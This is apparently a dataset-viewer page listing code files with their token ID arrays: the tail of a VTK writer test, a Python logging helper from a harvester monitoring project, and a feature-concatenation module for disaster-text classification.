29900,
29900,
29892,
9500,
29918,
29920,
29922,
29896,
29900,
29900,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
12857,
29918,
21058,
29918,
2311,
29892,
7431,
29898,
1311,
29889,
29894,
11178,
29918,
27959,
29889,
2774,
29883,
29918,
1761,
29961,
29900,
1822,
1272,
876,
13,
13,
1678,
822,
1243,
29918,
1202,
29918,
1272,
1445,
29898,
1311,
1125,
13,
4706,
2560,
29918,
21058,
29918,
2311,
353,
29871,
29896,
29896,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
1202,
29918,
2774,
29883,
29898,
1311,
29889,
2774,
29883,
29918,
1445,
29918,
2084,
29897,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
1202,
29918,
1272,
1445,
29898,
1311,
29889,
1272,
29918,
1445,
29918,
2084,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
12857,
29918,
21058,
29918,
2311,
29892,
7431,
29898,
1311,
29889,
29894,
11178,
29918,
27959,
29889,
2774,
29883,
29918,
1761,
29961,
29900,
1822,
1272,
876,
13,
13,
1678,
822,
1243,
29918,
4012,
29918,
8513,
29896,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
842,
29918,
4012,
29918,
8513,
29898,
29896,
29897,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
1202,
29918,
2774,
29883,
29898,
1311,
29889,
2774,
29883,
29918,
1445,
29918,
2084,
29897,
13,
13,
1678,
822,
1243,
29918,
4012,
29918,
8513,
29906,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
842,
29918,
4012,
29918,
8513,
29898,
29906,
29897,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
1202,
29918,
2774,
29883,
29898,
1311,
29889,
2774,
29883,
29918,
1445,
29918,
2084,
29897,
13,
13,
1678,
822,
1243,
29918,
4012,
29918,
8513,
29941,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
842,
29918,
4012,
29918,
8513,
29898,
29941,
29897,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
1202,
29918,
2774,
29883,
29898,
1311,
29889,
2774,
29883,
29918,
1445,
29918,
2084,
29897,
13,
13,
1678,
822,
1243,
29918,
4012,
29918,
8513,
29946,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
842,
29918,
4012,
29918,
8513,
29898,
29946,
29897,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
1202,
29918,
2774,
29883,
29898,
1311,
29889,
2774,
29883,
29918,
1445,
29918,
2084,
29897,
13,
13,
1678,
822,
1243,
29918,
3539,
29918,
29894,
11178,
29918,
6768,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
1202,
29918,
2774,
29883,
29898,
1311,
29889,
2774,
29883,
29918,
1445,
29918,
2084,
29897,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
3539,
29918,
29894,
11178,
29898,
1311,
29889,
4905,
29918,
1445,
29918,
2084,
29892,
4343,
791,
29922,
5574,
29892,
8401,
791,
29922,
5574,
29892,
2927,
292,
29922,
5574,
29892,
13,
462,
462,
268,
11502,
29918,
3605,
601,
29922,
29900,
29889,
29906,
29892,
4226,
675,
29918,
29881,
2829,
29922,
5574,
29892,
11855,
29918,
1272,
29922,
5574,
29892,
1134,
29918,
1272,
29922,
5574,
29897,
13,
13,
1678,
822,
1243,
29918,
3539,
29918,
24623,
29918,
29894,
11178,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
1202,
29918,
2774,
29883,
29898,
1311,
29889,
2774,
29883,
29918,
1445,
29918,
2084,
29897,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
3539,
29918,
24623,
29918,
29894,
11178,
877,
12857,
29889,
29894,
11178,
742,
3978,
29922,
6278,
29896,
29900,
29889,
29900,
29892,
448,
29896,
29900,
29889,
29900,
29892,
448,
29896,
29900,
29889,
29900,
511,
11959,
7607,
29896,
29892,
29871,
29896,
29892,
29871,
29896,
511,
1933,
7607,
29906,
29900,
29892,
29871,
29906,
29900,
29892,
29871,
29906,
29900,
28986,
13,
13,
13,
1678,
822,
1243,
29918,
1202,
29918,
3502,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
1202,
29918,
2774,
29883,
29898,
1311,
29889,
2774,
29883,
29918,
1445,
29918,
2084,
29897,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
1202,
29918,
3502,
580,
13,
13,
1678,
822,
1243,
29918,
1202,
29918,
2774,
29883,
29918,
9965,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
1202,
29918,
2774,
29883,
29898,
1311,
29889,
2774,
29883,
29918,
1445,
29918,
2084,
29897,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
1202,
29918,
2774,
29883,
29918,
9965,
29898,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
29900,
29900,
29892,
29871,
29906,
29900,
29900,
29897,
13,
13,
13,
1753,
9460,
7295,
13,
1678,
9460,
353,
443,
27958,
29889,
3057,
5091,
568,
580,
13,
1678,
9460,
29889,
1202,
24376,
29898,
348,
27958,
29889,
5675,
5091,
568,
29898,
3057,
29963,
11178,
21575,
876,
13,
1678,
736,
9460,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
443,
27958,
29889,
3396,
580,
13,
2
] |
logger.py | PanDAWMS/harvester_monitoring | 0 | 51009 | import os
import logging
from pathlib import Path
class ServiceLogger:
def __init__(self, name, file, loglevel='DEBUG'):
p = str(Path(file).parent) + '/logs/'
i = 0
while True:
if not os.path.exists(p):
i = i + 1
p = str(Path(file).parents[i]) + '/logs/'
else:
self.dirpath = p
break
self.logger = self.__get_logger(loglevel, name)
# private method
def __get_logger(self, loglevel, name=__name__, encoding='utf-8'):
log = logging.getLogger(name)
level = logging.getLevelName(loglevel)
log.setLevel(level)
formatter = logging.Formatter('[%(asctime)s] %(filename)s:%(lineno)d %(levelname)-1s %(message)s')
file_name = self.dirpath + name + '.log'
fh = logging.FileHandler(file_name, mode='a', encoding=encoding)
fh.setFormatter(formatter)
log.addHandler(fh)
return log | [
1,
1053,
2897,
13,
5215,
12183,
13,
13,
3166,
2224,
1982,
1053,
10802,
13,
13,
13,
1990,
6692,
16363,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1024,
29892,
934,
29892,
1480,
5563,
2433,
18525,
29374,
13,
4706,
282,
353,
851,
29898,
2605,
29898,
1445,
467,
3560,
29897,
718,
8207,
20756,
22208,
13,
4706,
474,
353,
29871,
29900,
13,
4706,
1550,
5852,
29901,
13,
9651,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
29886,
1125,
13,
18884,
474,
353,
474,
718,
29871,
29896,
13,
18884,
282,
353,
851,
29898,
2605,
29898,
1445,
467,
862,
1237,
29961,
29875,
2314,
718,
8207,
20756,
22208,
13,
9651,
1683,
29901,
13,
18884,
1583,
29889,
3972,
2084,
353,
282,
13,
18884,
2867,
13,
4706,
1583,
29889,
21707,
353,
1583,
17255,
657,
29918,
21707,
29898,
1188,
5563,
29892,
1024,
29897,
13,
13,
1678,
396,
2024,
1158,
13,
1678,
822,
4770,
657,
29918,
21707,
29898,
1311,
29892,
1480,
5563,
29892,
1024,
29922,
1649,
978,
1649,
29892,
8025,
2433,
9420,
29899,
29947,
29374,
13,
4706,
1480,
353,
12183,
29889,
657,
16363,
29898,
978,
29897,
13,
4706,
3233,
353,
12183,
29889,
657,
10108,
1170,
29898,
1188,
5563,
29897,
13,
4706,
1480,
29889,
842,
10108,
29898,
5563,
29897,
13,
13,
4706,
883,
2620,
353,
12183,
29889,
18522,
877,
29961,
29995,
29898,
294,
312,
603,
29897,
29879,
29962,
1273,
29898,
9507,
29897,
29879,
16664,
29898,
1915,
8154,
29897,
29881,
1273,
29898,
5563,
978,
6817,
29896,
29879,
1273,
29898,
4906,
29897,
29879,
1495,
13,
13,
4706,
934,
29918,
978,
353,
1583,
29889,
3972,
2084,
718,
1024,
718,
15300,
1188,
29915,
13,
13,
4706,
285,
29882,
353,
12183,
29889,
2283,
4598,
29898,
1445,
29918,
978,
29892,
4464,
2433,
29874,
742,
8025,
29922,
22331,
29897,
13,
4706,
285,
29882,
29889,
842,
18522,
29898,
689,
2620,
29897,
13,
4706,
1480,
29889,
1202,
4598,
29898,
29888,
29882,
29897,
13,
13,
4706,
736,
1480,
2
] |
nlp-disaster-analysis/feature.py | TeamAntriksh/Automated-Detection-of-Hazards | 0 | 191489 | <reponame>TeamAntriksh/Automated-Detection-of-Hazards
import collections
import functools
import numpy as np
import scipy.sparse
named_features = collections.defaultdict(list)
def feature(name):
'''
decorator for specific classifier, the wrapped function should accept as an input a corpus and return a matrix of vector features.
'''
def feature_wrapper(func):
@functools.wraps(func)
def wrapper(*args, **kwds):
return func(*args, **kwds)
named_features[name].append(wrapper)
return wrapper
return feature_wrapper
def fitter(name, inputs):
'''
The fitter function takes all features function that `name` owns and run them one by one on the inputs (corpus).
Each of those functions return a matrix, which they are all concatenated into one big matrix (concatenated by extending lines).
'''
matrices = []
for f in named_features[name]:
matrices.append(f(inputs))
a = matrices[0]
for b in matrices[1:]:
try:
a = np.concatenate((a, b), axis=1)
except:
a = scipy.sparse.hstack([a,b])
return a
| [
1,
529,
276,
1112,
420,
29958,
19409,
13448,
5357,
845,
29914,
28451,
630,
29899,
29928,
2650,
428,
29899,
974,
29899,
29950,
834,
3163,
13,
5215,
16250,
13,
5215,
2090,
312,
8789,
13,
5215,
12655,
408,
7442,
13,
5215,
4560,
2272,
29889,
29879,
5510,
13,
13,
17514,
29918,
22100,
353,
16250,
29889,
4381,
8977,
29898,
1761,
29897,
13,
13,
1753,
4682,
29898,
978,
1125,
13,
1678,
14550,
13,
4706,
10200,
1061,
363,
2702,
770,
3709,
29892,
278,
21021,
740,
881,
3544,
408,
385,
1881,
263,
1034,
13364,
322,
736,
263,
4636,
310,
4608,
5680,
29889,
13,
1678,
14550,
13,
1678,
822,
4682,
29918,
17699,
29898,
9891,
1125,
13,
4706,
732,
7692,
312,
8789,
29889,
29893,
336,
567,
29898,
9891,
29897,
13,
4706,
822,
14476,
10456,
5085,
29892,
3579,
11022,
6289,
1125,
13,
9651,
736,
3653,
10456,
5085,
29892,
3579,
11022,
6289,
29897,
13,
4706,
4257,
29918,
22100,
29961,
978,
1822,
4397,
29898,
17699,
29897,
13,
4706,
736,
14476,
13,
1678,
736,
4682,
29918,
17699,
13,
13,
1753,
285,
5171,
29898,
978,
29892,
10970,
1125,
13,
1678,
14550,
13,
4706,
450,
285,
5171,
740,
4893,
599,
5680,
740,
393,
421,
978,
29952,
1914,
29879,
322,
1065,
963,
697,
491,
697,
373,
278,
10970,
313,
2616,
13364,
467,
13,
4706,
7806,
310,
1906,
3168,
736,
263,
4636,
29892,
607,
896,
526,
599,
16125,
630,
964,
697,
4802,
4636,
313,
535,
29883,
2579,
630,
491,
23771,
3454,
467,
13,
1678,
14550,
13,
1678,
13516,
353,
5159,
13,
1678,
363,
285,
297,
4257,
29918,
22100,
29961,
978,
5387,
13,
4706,
13516,
29889,
4397,
29898,
29888,
29898,
2080,
29879,
876,
13,
1678,
263,
353,
13516,
29961,
29900,
29962,
13,
1678,
363,
289,
297,
13516,
29961,
29896,
29901,
5387,
13,
4706,
1018,
29901,
13,
9651,
263,
353,
7442,
29889,
535,
29883,
2579,
403,
3552,
29874,
29892,
289,
511,
9685,
29922,
29896,
29897,
13,
4706,
5174,
29901,
13,
9651,
263,
353,
4560,
2272,
29889,
29879,
5510,
29889,
29882,
1429,
4197,
29874,
29892,
29890,
2314,
13,
1678,
736,
263,
13,
13,
2
] |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.